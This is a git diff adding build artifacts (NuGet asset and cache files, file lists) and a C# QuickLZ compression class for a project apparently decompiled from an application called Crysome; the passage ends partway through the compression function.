a/Crysome.Common.Client/obj/Release/Crysome.Common.Client.csproj.CoreCompileInputs.cache b/Crysome.Common.Client/obj/Release/Crysome.Common.Client.csproj.CoreCompileInputs.cache new file mode 100644 index 0000000..f3ad07a --- /dev/null +++ b/Crysome.Common.Client/obj/Release/Crysome.Common.Client.csproj.CoreCompileInputs.cache @@ -0,0 +1 @@ +e8cfdd6c6b6000d8d28c1c062dc167e5217cd2c812d53100c6eef8ef011f512c diff --git a/Crysome.Common.Client/obj/Release/Crysome.Common.Client.csproj.FileListAbsolute.txt b/Crysome.Common.Client/obj/Release/Crysome.Common.Client.csproj.FileListAbsolute.txt new file mode 100644 index 0000000..d7ffe70 --- /dev/null +++ b/Crysome.Common.Client/obj/Release/Crysome.Common.Client.csproj.FileListAbsolute.txt @@ -0,0 +1,6 @@ +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\Crysome.Common.Client.dll +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Common.Client\obj\Release\Crysome.Common.Client.csproj.AssemblyReference.cache +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Common.Client\obj\Release\Crysome.Common.Client.GeneratedMSBuildEditorConfig.editorconfig +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Common.Client\obj\Release\Crysome.Common.Client.csproj.CoreCompileInputs.cache +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Common.Client\obj\Release\Crysome..C0F289B8.Up2Date +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Common.Client\obj\Release\Crysome.Common.Client.dll diff --git a/Crysome.Common.Client/obj/Release/Crysome.Common.Client.dll b/Crysome.Common.Client/obj/Release/Crysome.Common.Client.dll new file mode 100644 index 0000000..503a9f0 Binary files /dev/null and b/Crysome.Common.Client/obj/Release/Crysome.Common.Client.dll differ diff --git a/Crysome.Common.Client/obj/project.assets.json b/Crysome.Common.Client/obj/project.assets.json new file mode 100644 index 0000000..fd4d137 --- /dev/null +++ b/Crysome.Common.Client/obj/project.assets.json @@ -0,0 +1,556 @@ +{ + "version": 3, + "targets": { + ".NETFramework,Version=v4.7.2": { + "Microsoft.Bcl.AsyncInterfaces/8.0.0": { + "type": "package", + "dependencies": { + "System.Threading.Tasks.Extensions": "4.5.4" + }, + "compile": { + "lib/net462/Microsoft.Bcl.AsyncInterfaces.dll": { + "related": ".xml" + } + }, + "runtime": { + "lib/net462/Microsoft.Bcl.AsyncInterfaces.dll": { + "related": ".xml" + } + }, + "build": { + "buildTransitive/net462/_._": {} + } + }, + "System.Buffers/4.6.0": { + "type": "package", + "compile": { + "lib/net462/System.Buffers.dll": { + "related": ".xml" + } + }, + "runtime": { + "lib/net462/System.Buffers.dll": { + "related": ".xml" + } + }, + "build": { + "buildTransitive/net462/_._": {} + } + }, + "System.Memory/4.6.0": { + "type": "package", + "dependencies": { + "System.Buffers": "4.6.0", + "System.Numerics.Vectors": "4.6.0", + "System.Runtime.CompilerServices.Unsafe": "6.1.0" + }, + "compile": { + "lib/net462/System.Memory.dll": { + "related": ".xml" + } + }, + "runtime": { + "lib/net462/System.Memory.dll": { + "related": ".xml" + } + }, + "build": { + "buildTransitive/net462/_._": {} + } + }, + "System.Numerics.Vectors/4.6.0": { + "type": "package", + "frameworkAssemblies": [ + "System.Numerics" + ], + "compile": { + "lib/net462/System.Numerics.Vectors.dll": { + "related": ".xml" + } + }, + "runtime": { + "lib/net462/System.Numerics.Vectors.dll": { + "related": ".xml" + } + }, + "build": { + "buildTransitive/net462/_._": {} + } + }, + "System.Runtime.CompilerServices.Unsafe/6.1.0": { + "type": "package", + "frameworkAssemblies": [ + "mscorlib" + ], + "compile": { + "lib/net462/System.Runtime.CompilerServices.Unsafe.dll": { + "related": ".xml" + } + }, + "runtime": { + "lib/net462/System.Runtime.CompilerServices.Unsafe.dll": { + "related": ".xml" + } + }, + "build": { + "buildTransitive/net462/_._": {} + } + }, + "System.Text.Encodings.Web/8.0.0": { + "type": "package", + "dependencies": { + "System.Buffers": "4.5.1", + "System.Memory": "4.5.5", + "System.Runtime.CompilerServices.Unsafe": "6.0.0" + }, + "compile": { + "lib/net462/System.Text.Encodings.Web.dll": { + "related": ".xml" + } + }, + "runtime": { + "lib/net462/System.Text.Encodings.Web.dll": { + "related": ".xml" + } + }, + "build": { + "buildTransitive/net462/_._": {} + } + }, + "System.Text.Json/8.0.5": { + "type": "package", + "dependencies": { + "Microsoft.Bcl.AsyncInterfaces": "8.0.0", + "System.Buffers": "4.5.1", + "System.Memory": "4.5.5", + "System.Runtime.CompilerServices.Unsafe": "6.0.0", + "System.Text.Encodings.Web": "8.0.0", + "System.Threading.Tasks.Extensions": "4.5.4", + "System.ValueTuple": "4.5.0" + }, + "compile": { + "lib/net462/System.Text.Json.dll": { + "related": ".xml" + } + }, + "runtime": { + "lib/net462/System.Text.Json.dll": { + "related": ".xml" + } + }, + "build": { + "buildTransitive/net462/System.Text.Json.targets": {} + } + }, + "System.Threading.Tasks.Extensions/4.5.4": { + "type": "package", + "dependencies": { + "System.Runtime.CompilerServices.Unsafe": "4.5.3" + }, + "frameworkAssemblies": [ + "mscorlib" + ], + "compile": { + "lib/net461/System.Threading.Tasks.Extensions.dll": { + "related": ".xml" + } + }, + "runtime": { + "lib/net461/System.Threading.Tasks.Extensions.dll": { + "related": ".xml" + } + } + }, + "System.ValueTuple/4.5.0": { + "type": "package", + "frameworkAssemblies": [ + "mscorlib" + ], + "compile": { + "ref/net47/System.ValueTuple.dll": {} + }, + "runtime": { + "lib/net47/System.ValueTuple.dll": { + "related": ".xml" + } + } + } + } + }, + "libraries": { + "Microsoft.Bcl.AsyncInterfaces/8.0.0": { + "sha512": "3WA9q9yVqJp222P3x1wYIGDAkpjAku0TMUaaQV22g6L67AI0LdOIrVS7Ht2vJfLHGSPVuqN94vIr15qn+HEkHw==", + "type": "package", + "path": "microsoft.bcl.asyncinterfaces/8.0.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "Icon.png", + "LICENSE.TXT", + "PACKAGE.md", + "THIRD-PARTY-NOTICES.TXT", + "buildTransitive/net461/Microsoft.Bcl.AsyncInterfaces.targets", + "buildTransitive/net462/_._", + "lib/net462/Microsoft.Bcl.AsyncInterfaces.dll", + "lib/net462/Microsoft.Bcl.AsyncInterfaces.xml", + "lib/netstandard2.0/Microsoft.Bcl.AsyncInterfaces.dll", + "lib/netstandard2.0/Microsoft.Bcl.AsyncInterfaces.xml", + "lib/netstandard2.1/Microsoft.Bcl.AsyncInterfaces.dll", + "lib/netstandard2.1/Microsoft.Bcl.AsyncInterfaces.xml", + "microsoft.bcl.asyncinterfaces.8.0.0.nupkg.sha512", + "microsoft.bcl.asyncinterfaces.nuspec", + "useSharedDesignerContext.txt" + ] + }, + "System.Buffers/4.6.0": { + "sha512": "lN6tZi7Q46zFzAbRYXTIvfXcyvQQgxnY7Xm6C6xQ9784dEL1amjM6S6Iw4ZpsvesAKnRVsM4scrDQaDqSClkjA==", + "type": "package", + "path": "system.buffers/4.6.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "Icon.png", + "PACKAGE.md", + "buildTransitive/net461/System.Buffers.targets", + "buildTransitive/net462/_._", + "lib/net462/System.Buffers.dll", + "lib/net462/System.Buffers.xml", + "lib/netcoreapp2.1/_._", + "lib/netstandard2.0/System.Buffers.dll", + "lib/netstandard2.0/System.Buffers.xml", + "system.buffers.4.6.0.nupkg.sha512", + "system.buffers.nuspec" + ] + }, + "System.Memory/4.6.0": { + "sha512": "OEkbBQoklHngJ8UD8ez2AERSk2g+/qpAaSWWCBFbpH727HxDq5ydVkuncBaKcKfwRqXGWx64dS6G1SUScMsitg==", + "type": "package", + "path": "system.memory/4.6.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "Icon.png", + "PACKAGE.md", + "buildTransitive/net461/System.Memory.targets", + "buildTransitive/net462/_._", + "lib/net462/System.Memory.dll", + "lib/net462/System.Memory.xml", + "lib/netcoreapp2.1/_._", + "lib/netstandard2.0/System.Memory.dll", + "lib/netstandard2.0/System.Memory.xml", + "system.memory.4.6.0.nupkg.sha512", + "system.memory.nuspec" + ] + }, + "System.Numerics.Vectors/4.6.0": { + "sha512": "t+SoieZsRuEyiw/J+qXUbolyO219tKQQI0+2/YI+Qv7YdGValA6WiuokrNKqjrTNsy5ABWU11bdKOzUdheteXg==", + "type": "package", + "path": "system.numerics.vectors/4.6.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "Icon.png", + "PACKAGE.md", + "buildTransitive/net461/System.Numerics.Vectors.targets", + "buildTransitive/net462/_._", + "lib/net462/System.Numerics.Vectors.dll", + "lib/net462/System.Numerics.Vectors.xml", + "lib/netcoreapp2.0/_._", + "lib/netstandard2.0/System.Numerics.Vectors.dll", + "lib/netstandard2.0/System.Numerics.Vectors.xml", + "system.numerics.vectors.4.6.0.nupkg.sha512", + "system.numerics.vectors.nuspec" + ] + }, + "System.Runtime.CompilerServices.Unsafe/6.1.0": { + "sha512": "5o/HZxx6RVqYlhKSq8/zronDkALJZUT2Vz0hx43f0gwe8mwlM0y2nYlqdBwLMzr262Bwvpikeb/yEwkAa5PADg==", + "type": "package", + "path": "system.runtime.compilerservices.unsafe/6.1.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "Icon.png", + "PACKAGE.md", + "buildTransitive/net461/System.Runtime.CompilerServices.Unsafe.targets", + "buildTransitive/net462/_._", + "buildTransitive/net6.0/_._", + "buildTransitive/netcoreapp2.0/System.Runtime.CompilerServices.Unsafe.targets", + "lib/net462/System.Runtime.CompilerServices.Unsafe.dll", + "lib/net462/System.Runtime.CompilerServices.Unsafe.xml", + "lib/net7.0/_._", + "lib/netstandard2.0/System.Runtime.CompilerServices.Unsafe.dll", + "lib/netstandard2.0/System.Runtime.CompilerServices.Unsafe.xml", + "system.runtime.compilerservices.unsafe.6.1.0.nupkg.sha512", + "system.runtime.compilerservices.unsafe.nuspec" + ] + }, + "System.Text.Encodings.Web/8.0.0": { + "sha512": "yev/k9GHAEGx2Rg3/tU6MQh4HGBXJs70y7j1LaM1i/ER9po+6nnQ6RRqTJn1E7Xu0fbIFK80Nh5EoODxrbxwBQ==", + "type": "package", + "path": "system.text.encodings.web/8.0.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "Icon.png", + "LICENSE.TXT", + "THIRD-PARTY-NOTICES.TXT", + "buildTransitive/net461/System.Text.Encodings.Web.targets", + "buildTransitive/net462/_._", + "buildTransitive/net6.0/_._", + "buildTransitive/netcoreapp2.0/System.Text.Encodings.Web.targets", + "lib/net462/System.Text.Encodings.Web.dll", + "lib/net462/System.Text.Encodings.Web.xml", + "lib/net6.0/System.Text.Encodings.Web.dll", + "lib/net6.0/System.Text.Encodings.Web.xml", + "lib/net7.0/System.Text.Encodings.Web.dll", + "lib/net7.0/System.Text.Encodings.Web.xml", + "lib/net8.0/System.Text.Encodings.Web.dll", + "lib/net8.0/System.Text.Encodings.Web.xml", + "lib/netstandard2.0/System.Text.Encodings.Web.dll", + "lib/netstandard2.0/System.Text.Encodings.Web.xml", + "runtimes/browser/lib/net6.0/System.Text.Encodings.Web.dll", + "runtimes/browser/lib/net6.0/System.Text.Encodings.Web.xml", + "runtimes/browser/lib/net7.0/System.Text.Encodings.Web.dll", + "runtimes/browser/lib/net7.0/System.Text.Encodings.Web.xml", + "runtimes/browser/lib/net8.0/System.Text.Encodings.Web.dll", + "runtimes/browser/lib/net8.0/System.Text.Encodings.Web.xml", + "system.text.encodings.web.8.0.0.nupkg.sha512", + "system.text.encodings.web.nuspec", + "useSharedDesignerContext.txt" + ] + }, + "System.Text.Json/8.0.5": { + "sha512": "0f1B50Ss7rqxXiaBJyzUu9bWFOO2/zSlifZ/UNMdiIpDYe4cY4LQQicP4nirK1OS31I43rn062UIJ1Q9bpmHpg==", + "type": "package", + "path": "system.text.json/8.0.5", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "Icon.png", + "LICENSE.TXT", + "PACKAGE.md", + "THIRD-PARTY-NOTICES.TXT", + "analyzers/dotnet/roslyn3.11/cs/System.Text.Json.SourceGeneration.dll", + "analyzers/dotnet/roslyn3.11/cs/cs/System.Text.Json.SourceGeneration.resources.dll", + "analyzers/dotnet/roslyn3.11/cs/de/System.Text.Json.SourceGeneration.resources.dll", + "analyzers/dotnet/roslyn3.11/cs/es/System.Text.Json.SourceGeneration.resources.dll", + "analyzers/dotnet/roslyn3.11/cs/fr/System.Text.Json.SourceGeneration.resources.dll", + "analyzers/dotnet/roslyn3.11/cs/it/System.Text.Json.SourceGeneration.resources.dll", + "analyzers/dotnet/roslyn3.11/cs/ja/System.Text.Json.SourceGeneration.resources.dll", + "analyzers/dotnet/roslyn3.11/cs/ko/System.Text.Json.SourceGeneration.resources.dll", + "analyzers/dotnet/roslyn3.11/cs/pl/System.Text.Json.SourceGeneration.resources.dll", + "analyzers/dotnet/roslyn3.11/cs/pt-BR/System.Text.Json.SourceGeneration.resources.dll", + "analyzers/dotnet/roslyn3.11/cs/ru/System.Text.Json.SourceGeneration.resources.dll", + "analyzers/dotnet/roslyn3.11/cs/tr/System.Text.Json.SourceGeneration.resources.dll", + "analyzers/dotnet/roslyn3.11/cs/zh-Hans/System.Text.Json.SourceGeneration.resources.dll", + "analyzers/dotnet/roslyn3.11/cs/zh-Hant/System.Text.Json.SourceGeneration.resources.dll", + "analyzers/dotnet/roslyn4.0/cs/System.Text.Json.SourceGeneration.dll", + "analyzers/dotnet/roslyn4.0/cs/cs/System.Text.Json.SourceGeneration.resources.dll", + "analyzers/dotnet/roslyn4.0/cs/de/System.Text.Json.SourceGeneration.resources.dll", + "analyzers/dotnet/roslyn4.0/cs/es/System.Text.Json.SourceGeneration.resources.dll", + "analyzers/dotnet/roslyn4.0/cs/fr/System.Text.Json.SourceGeneration.resources.dll", + "analyzers/dotnet/roslyn4.0/cs/it/System.Text.Json.SourceGeneration.resources.dll", + "analyzers/dotnet/roslyn4.0/cs/ja/System.Text.Json.SourceGeneration.resources.dll", + "analyzers/dotnet/roslyn4.0/cs/ko/System.Text.Json.SourceGeneration.resources.dll", + "analyzers/dotnet/roslyn4.0/cs/pl/System.Text.Json.SourceGeneration.resources.dll", + "analyzers/dotnet/roslyn4.0/cs/pt-BR/System.Text.Json.SourceGeneration.resources.dll", + "analyzers/dotnet/roslyn4.0/cs/ru/System.Text.Json.SourceGeneration.resources.dll", + "analyzers/dotnet/roslyn4.0/cs/tr/System.Text.Json.SourceGeneration.resources.dll", + "analyzers/dotnet/roslyn4.0/cs/zh-Hans/System.Text.Json.SourceGeneration.resources.dll", + "analyzers/dotnet/roslyn4.0/cs/zh-Hant/System.Text.Json.SourceGeneration.resources.dll", + "analyzers/dotnet/roslyn4.4/cs/System.Text.Json.SourceGeneration.dll", + "analyzers/dotnet/roslyn4.4/cs/cs/System.Text.Json.SourceGeneration.resources.dll", + "analyzers/dotnet/roslyn4.4/cs/de/System.Text.Json.SourceGeneration.resources.dll", + "analyzers/dotnet/roslyn4.4/cs/es/System.Text.Json.SourceGeneration.resources.dll", + "analyzers/dotnet/roslyn4.4/cs/fr/System.Text.Json.SourceGeneration.resources.dll", + "analyzers/dotnet/roslyn4.4/cs/it/System.Text.Json.SourceGeneration.resources.dll", + "analyzers/dotnet/roslyn4.4/cs/ja/System.Text.Json.SourceGeneration.resources.dll", + "analyzers/dotnet/roslyn4.4/cs/ko/System.Text.Json.SourceGeneration.resources.dll", + "analyzers/dotnet/roslyn4.4/cs/pl/System.Text.Json.SourceGeneration.resources.dll", + "analyzers/dotnet/roslyn4.4/cs/pt-BR/System.Text.Json.SourceGeneration.resources.dll", + "analyzers/dotnet/roslyn4.4/cs/ru/System.Text.Json.SourceGeneration.resources.dll", + "analyzers/dotnet/roslyn4.4/cs/tr/System.Text.Json.SourceGeneration.resources.dll", + "analyzers/dotnet/roslyn4.4/cs/zh-Hans/System.Text.Json.SourceGeneration.resources.dll", + "analyzers/dotnet/roslyn4.4/cs/zh-Hant/System.Text.Json.SourceGeneration.resources.dll", + "buildTransitive/net461/System.Text.Json.targets", + "buildTransitive/net462/System.Text.Json.targets", + "buildTransitive/net6.0/System.Text.Json.targets", + "buildTransitive/netcoreapp2.0/System.Text.Json.targets", + "buildTransitive/netstandard2.0/System.Text.Json.targets", + "lib/net462/System.Text.Json.dll", + "lib/net462/System.Text.Json.xml", + "lib/net6.0/System.Text.Json.dll", + "lib/net6.0/System.Text.Json.xml", + "lib/net7.0/System.Text.Json.dll", + "lib/net7.0/System.Text.Json.xml", + "lib/net8.0/System.Text.Json.dll", + "lib/net8.0/System.Text.Json.xml", + "lib/netstandard2.0/System.Text.Json.dll", + "lib/netstandard2.0/System.Text.Json.xml", + "system.text.json.8.0.5.nupkg.sha512", + "system.text.json.nuspec", + "useSharedDesignerContext.txt" + ] + }, + "System.Threading.Tasks.Extensions/4.5.4": { + "sha512": "zteT+G8xuGu6mS+mzDzYXbzS7rd3K6Fjb9RiZlYlJPam2/hU7JCBZBVEcywNuR+oZ1ncTvc/cq0faRr3P01OVg==", + "type": "package", + "path": "system.threading.tasks.extensions/4.5.4", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "LICENSE.TXT", + "THIRD-PARTY-NOTICES.TXT", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net461/System.Threading.Tasks.Extensions.dll", + "lib/net461/System.Threading.Tasks.Extensions.xml", + "lib/netcoreapp2.1/_._", + "lib/netstandard1.0/System.Threading.Tasks.Extensions.dll", + "lib/netstandard1.0/System.Threading.Tasks.Extensions.xml", + "lib/netstandard2.0/System.Threading.Tasks.Extensions.dll", + "lib/netstandard2.0/System.Threading.Tasks.Extensions.xml", + "lib/portable-net45+win8+wp8+wpa81/System.Threading.Tasks.Extensions.dll", + "lib/portable-net45+win8+wp8+wpa81/System.Threading.Tasks.Extensions.xml", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/netcoreapp2.1/_._", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "system.threading.tasks.extensions.4.5.4.nupkg.sha512", + "system.threading.tasks.extensions.nuspec", + "useSharedDesignerContext.txt", + "version.txt" + ] + }, + "System.ValueTuple/4.5.0": { + "sha512": "okurQJO6NRE/apDIP23ajJ0hpiNmJ+f0BwOlB/cSqTLQlw5upkf+5+96+iG2Jw40G1fCVCyPz/FhIABUjMR+RQ==", + "type": "package", + "path": "system.valuetuple/4.5.0", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "LICENSE.TXT", + "THIRD-PARTY-NOTICES.TXT", + "lib/MonoAndroid10/_._", + "lib/MonoTouch10/_._", + "lib/net461/System.ValueTuple.dll", + "lib/net461/System.ValueTuple.xml", + "lib/net47/System.ValueTuple.dll", + "lib/net47/System.ValueTuple.xml", + "lib/netcoreapp2.0/_._", + "lib/netstandard1.0/System.ValueTuple.dll", + "lib/netstandard1.0/System.ValueTuple.xml", + "lib/netstandard2.0/_._", + "lib/portable-net40+sl4+win8+wp8/System.ValueTuple.dll", + "lib/portable-net40+sl4+win8+wp8/System.ValueTuple.xml", + "lib/uap10.0.16299/_._", + "lib/xamarinios10/_._", + "lib/xamarinmac20/_._", + "lib/xamarintvos10/_._", + "lib/xamarinwatchos10/_._", + "ref/MonoAndroid10/_._", + "ref/MonoTouch10/_._", + "ref/net461/System.ValueTuple.dll", + "ref/net47/System.ValueTuple.dll", + "ref/netcoreapp2.0/_._", + "ref/netstandard2.0/_._", + "ref/portable-net40+sl4+win8+wp8/System.ValueTuple.dll", + "ref/uap10.0.16299/_._", + "ref/xamarinios10/_._", + "ref/xamarinmac20/_._", + "ref/xamarintvos10/_._", + "ref/xamarinwatchos10/_._", + "system.valuetuple.4.5.0.nupkg.sha512", + "system.valuetuple.nuspec", + "useSharedDesignerContext.txt", + "version.txt" + ] + } + }, + "projectFileDependencyGroups": { + ".NETFramework,Version=v4.7.2": [ + "System.Buffers >= 4.6.0", + "System.Memory >= 4.6.0", + "System.Text.Json >= 8.0.5" + ] + }, + "packageFolders": { + "C:\\Users\\lukas\\.nuget\\packages\\": {}, + "C:\\Program Files\\DevExpress 24.2\\Components\\Offline Packages": {}, + "C:\\Program Files (x86)\\Microsoft Visual Studio\\Shared\\NuGetPackages": {} + }, + "project": { + "version": "1.0.0", + "restore": { + "projectUniqueName": "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Common.Client\\Crysome.Common.Client.csproj", + "projectName": "Crysome.Common.Client", + "projectPath": "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Common.Client\\Crysome.Common.Client.csproj", + "packagesPath": "C:\\Users\\lukas\\.nuget\\packages\\", + "outputPath": "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Common.Client\\obj\\", + "projectStyle": "PackageReference", + "fallbackFolders": [ + "C:\\Program Files\\DevExpress 24.2\\Components\\Offline Packages", + "C:\\Program Files (x86)\\Microsoft Visual Studio\\Shared\\NuGetPackages" + ], + "configFilePaths": [ + "C:\\Users\\lukas\\AppData\\Roaming\\NuGet\\NuGet.Config", + "C:\\Program Files (x86)\\NuGet\\Config\\DevExpress 24.2.config", + "C:\\Program Files (x86)\\NuGet\\Config\\Microsoft.VisualStudio.FallbackLocation.config", + "C:\\Program Files (x86)\\NuGet\\Config\\Microsoft.VisualStudio.Offline.config" + ], + "originalTargetFrameworks": [ + "net472" + ], + "sources": { + "C:\\Program Files (x86)\\Microsoft SDKs\\NuGetPackages\\": {}, + "C:\\Program Files\\DevExpress 24.2\\Components\\System\\Components\\Packages": {}, + "C:\\Program Files\\dotnet\\library-packs": {}, + "https://api.nuget.org/v3/index.json": {} + }, + "frameworks": { + "net472": { + "targetAlias": "net472", + "projectReferences": {} + } + }, + "warningProperties": { + "warnAsError": [ + "NU1605" + ] + }, + "restoreAuditProperties": { + "enableAudit": "true", + "auditLevel": "low", + "auditMode": "direct" + }, + "SdkAnalysisLevel": "10.0.100" + }, + "frameworks": { + "net472": { + "targetAlias": "net472", + "dependencies": { + "System.Buffers": { + "target": "Package", + "version": "[4.6.0, )" + }, + "System.Memory": { + "target": "Package", + "version": "[4.6.0, )" + }, + "System.Text.Json": { + "target": "Package", + "version": "[8.0.5, )" + } + }, + "runtimeIdentifierGraphPath": "C:\\Program Files\\dotnet\\sdk\\10.0.102\\RuntimeIdentifierGraph.json" + } + } + } +} \ No newline at end of file diff --git a/Crysome.Common.Client/obj/project.nuget.cache b/Crysome.Common.Client/obj/project.nuget.cache new file mode 100644 index 0000000..7359aa3 --- /dev/null +++ b/Crysome.Common.Client/obj/project.nuget.cache @@ -0,0 +1,18 @@ +{ + "version": 2, + "dgSpecHash": "NF3YmRgHpi4=", + "success": true, + "projectFilePath": "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Common.Client\\Crysome.Common.Client.csproj", + "expectedPackageFiles": [ + "C:\\Users\\lukas\\.nuget\\packages\\microsoft.bcl.asyncinterfaces\\8.0.0\\microsoft.bcl.asyncinterfaces.8.0.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.buffers\\4.6.0\\system.buffers.4.6.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.memory\\4.6.0\\system.memory.4.6.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.numerics.vectors\\4.6.0\\system.numerics.vectors.4.6.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.runtime.compilerservices.unsafe\\6.1.0\\system.runtime.compilerservices.unsafe.6.1.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.text.encodings.web\\8.0.0\\system.text.encodings.web.8.0.0.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.text.json\\8.0.5\\system.text.json.8.0.5.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.threading.tasks.extensions\\4.5.4\\system.threading.tasks.extensions.4.5.4.nupkg.sha512", + "C:\\Users\\lukas\\.nuget\\packages\\system.valuetuple\\4.5.0\\system.valuetuple.4.5.0.nupkg.sha512" + ], + "logs": [] +} \ No newline at end of file diff --git a/Crysome.Common/Crysome.Common.Compression/QuickLZ.cs b/Crysome.Common/Crysome.Common.Compression/QuickLZ.cs new file mode 100644 index 0000000..44248fa --- /dev/null +++ b/Crysome.Common/Crysome.Common.Compression/QuickLZ.cs @@ -0,0 +1,437 @@ +using System; + +namespace Crysome.Common.Compression; + +public static class QuickLZ +{ + public const int QLZ_VERSION_MAJOR = 1; + + public const int QLZ_VERSION_MINOR = 5; + + public const int QLZ_VERSION_REVISION = 0; + + public const int QLZ_STREAMING_BUFFER = 0; + + public const int QLZ_MEMORY_SAFE = 0; + + private const int HASH_VALUES = 4096; + + private const int MINOFFSET = 2; + + private const int UNCONDITIONAL_MATCHLEN = 6; + + private const int UNCOMPRESSED_END = 4; + + private const int CWORD_LEN = 4; + + private const int DEFAULT_HEADERLEN = 9; + + private const int QLZ_POINTERS_1 = 1; + + private const int QLZ_POINTERS_3 = 16; + + private static int HeaderLen(byte[] source) + { + if ((source[0] & 2) != 2) + { + return 3; + } + return 9; + } + + public static int SizeDecompressed(byte[] source) + { + if (HeaderLen(source) == 9) + { + return source[5] | (source[6] << 8) | (source[7] << 16) | (source[8] << 24); + } + return source[2]; + } + + public static int SizeCompressed(byte[] source) + { + if (HeaderLen(source) == 9) + { + return source[1] | (source[2] << 8) | (source[3] << 16) | (source[4] << 24); + } + return source[1]; + } + + private static void WriteHeader(byte[] dst, int level, bool compressible, int size_compressed, int size_decompressed) + { + dst[0] = (byte)(2u | (compressible ? 1u : 0u)); + dst[0] |= (byte)(level << 2); + dst[0] |= 64; + dst[0] |= 0; + FastWrite(dst, 1, size_decompressed, 4); + FastWrite(dst, 5, size_compressed, 4); + } + + public static byte[] Compress(byte[] source, int level) + { + int i = 0; + int num = 13; + uint num2 = 2147483648u; + int i2 = 9; + byte[] array = new byte[source.Length + 400]; + int[] array2 = new int[4096]; + byte[] array3 = new byte[4096]; + int num3 = 0; + int num4 = source.Length - 6 - 4 - 1; + int num5 = 0; + if (level != 1 && level != 3) + { + throw new ArgumentException("C# version only supports level 1 and 3"); + } + int[,] array4 = ((level != 1) ? new int[4096, 16] : new int[4096, 1]); + if (source.Length == 0) + { + return new byte[0]; + } + if (i <= num4) + { + num3 = source[i] | (source[i + 1] << 8) | (source[i + 2] << 16); + } + byte[] array5; + while (i <= num4) + { + if ((num2 & 1) == 1) + { + if (i > source.Length >> 1 && num > i - (i >> 5)) + { + array5 = new byte[source.Length + 9]; + WriteHeader(array5, level, compressible: false, source.Length, source.Length + 9); + Array.Copy(source, 0, array5, 9, source.Length); + return array5; + } + FastWrite(array, i2, (int)(num2 >> 1) | int.MinValue, 4); + i2 = num; + num += 4; + num2 = 2147483648u; + } + if (level == 1) + { + int num6 = ((num3 >> 12) ^ num3) & 0xFFF; + int num7 = array4[num6, 0]; + int num8 = array2[num6] ^ num3; + array2[num6] = num3; + array4[num6, 0] = i; + if (num8 == 0 && array3[num6] != 0 && (i - num7 > 2 || (i == num7 + 1 && num5 >= 3 && i > 3 && source[i] == source[i - 3] && source[i] == source[i - 2] && source[i] == source[i - 1] && source[i] == source[i + 1] && source[i] == source[i + 2]))) + { + num2 = (num2 >> 1) | 0x80000000u; + if (source[num7 + 3] != source[i + 3]) + { + int num9 = 1 | (num6 << 4); + array[num] = (byte)num9; + array[num + 1] = (byte)(num9 >> 8); + i += 3; + num += 2; + } + else + { + int num10 = i; + int num11 = ((source.Length - 4 - i + 1 - 1 > 255) ? 255 : (source.Length - 4 - i + 1 - 1)); + i += 4; + if (source[num7 + i - num10] == source[i]) + { + i++; + if (source[num7 + i - num10] == source[i]) + { + for (i++; source[num7 + (i - num10)] == source[i] && i - num10 < num11; i++) + { + } + } + } + int num12 = i - num10; + num6 <<= 4; + if (num12 < 18) + { + int num13 = num6 | (num12 - 2); + array[num] = (byte)num13; + array[num + 1] = (byte)(num13 >> 8); + num += 2; + } + else + { + FastWrite(array, num, num6 | (num12 << 16), 3); + num += 3; + } + } + num3 = source[i] | (source[i + 1] << 8) | (source[i + 2] << 16); + num5 = 0; + } + else + { + num5++; + array3[num6] = 1; + array[num] = source[i]; + num2 >>= 1; + i++; + num++; + num3 = ((num3 >> 8) & 0xFFFF) | (source[i + 2] << 16); + } + continue; + } + num3 = source[i] | (source[i + 1] << 8) | (source[i + 2] << 16); + int num14 = ((source.Length - 4 - i + 1 - 1 > 255) ? 255 : (source.Length - 4 - i + 1 - 1)); + int num15 = ((num3 >> 12) ^ num3) & 0xFFF; + byte b = array3[num15]; + int num16 = 0; + int num17 = 0; + int num18; + for (int j = 0; j < 16 && b > j; j++) + { + num18 = array4[num15, j]; + if ((byte)num3 == source[num18] && (byte)(num3 >> 8) == source[num18 + 1] && (byte)(num3 >> 16) == source[num18 + 2] && num18 < i - 2) + { + int k; + for (k = 3; source[num18 + k] == source[i + k] && k < num14; k++) + { + } + if (k > num16 || (k == num16 && num18 > num17)) + { + num17 = num18; + num16 = k; + } + } + } + num18 = num17; + 